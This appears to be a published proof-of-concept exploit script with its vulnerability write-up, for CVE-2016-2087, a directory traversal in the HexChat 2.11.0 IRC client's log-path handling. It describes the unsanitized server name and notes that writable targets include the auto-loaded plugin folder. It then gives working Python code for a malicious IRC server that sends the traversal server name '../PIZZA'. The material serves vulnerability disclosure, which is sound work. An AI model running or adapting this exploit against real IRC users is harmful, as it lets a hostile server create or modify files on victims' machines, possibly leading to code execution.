13d072b592
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93 lines
3.2 KiB
Python
Executable file
93 lines
3.2 KiB
Python
Executable file
#!/usr/bin/python
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#
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####################
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# Meta information #
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####################
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# Exploit Title: Hexchat IRC client - Server name log directory traversal
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# Date: 2016-01-26
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# Exploit Author: PizzaHatHacker
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# Vendor Homepage: https://hexchat.github.io/index.html
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# Software Link: https://hexchat.github.io/downloads.html
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# Version: 2.11.0
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# Tested on: HexChat 2.11.0 & Linux (64 bits)
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# CVE : CVE-2016-2087
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#############################
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# Vulnerability description #
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#############################
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'''
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Server Name Directory Traversal in src/common/text.c :
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static char * log_create_pathname (char *servname, char *channame, char *netname)
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In this function, channame (channel name) and netname (network name as
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configured in the client software) are sanitized to prevent directory
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traversal issues when creating a logfile BUT servname (server-provided
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information) is NOT sanitized before possibly being injected into
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the file path via the 'log_insert_vars' function call.
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This bug could be triggered in the special (non-default) configuration
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where a user would have :
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* Enabled logging (Settings > Preferences > Chatting > Logging)
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* Used a pattern containing '%s' in the log filepath (instead
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of the default = '%n\%c.log').
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When connecting to a malicious server, Hexchat IRC client may create or modify
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arbitrary files on the filesystem with the permissions of the IRC client user
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(non-root). For example, the following directories are accessible easily :
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* <Hexchat-Conf>/addons : Executable plugin files that are automatically loaded
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when starting Hexchat IRC client
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* <Hexchat-Conf>/logs : ALL logfiles (from other servers too)
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* <Hexchat-Conf>/scrollback : Scrollback text that is automatically
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loaded when entering a channel/server (this may trigger further bugs)
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* <Hexchat-Conf>/sounds : Sounds that may be played on demand via CTCP
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SOUND messages (this could also trigger further bugs)
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* etc.
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CVSS v2 Vector : (AV:N/AC:H/Au:N/C:N/I:P/A:P)
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CVSS Base Score : 4
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Impact Subscore : 4.9
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Exploitability Subscore : 4.9
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'''
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####################
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# Proof of Concept #
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####################
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'''
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* Install Hexchat IRC Client
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* Settings > Preferences > Chatting > Logging : Enable logging and use the log
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filepath pattern : '%s\%c.log' (without the quotes)
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* Run this Python script on a (server) machine
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* Connect to the server running the script
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* Results : A 'PIZZA' directory will appear in <Hexchat-Conf>/PIZZA instead
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of something like <Hexchat-Conf>/logs/___PIZZA
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'''
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import socket
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import sys
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import time
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# Exploit configuration
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HOST = ''
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PORT = 6667
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SERVERNAME = '../PIZZA'
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# Create server socket
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sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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try:
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sock.bind((HOST, PORT)) # Bind to port
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sock.listen(0) # Start listening on socket
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print 'Server listening, waiting for connection...'
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conn, addr = sock.accept()
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print 'Connected with ' + addr[0] + ':' + str(addr[1]) + ', sending packets...'
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conn.send(':' + SERVERNAME + ' 001 bob :Welcome to the Internet Relay Network\r\n')
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# Wait and close socket
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conn.recv(256)
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sock.close()
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print 'Done.'
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except socket.error as msg:
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print 'Failure binding to port : ' + str(msg[0]) + ' ' + msg[1]
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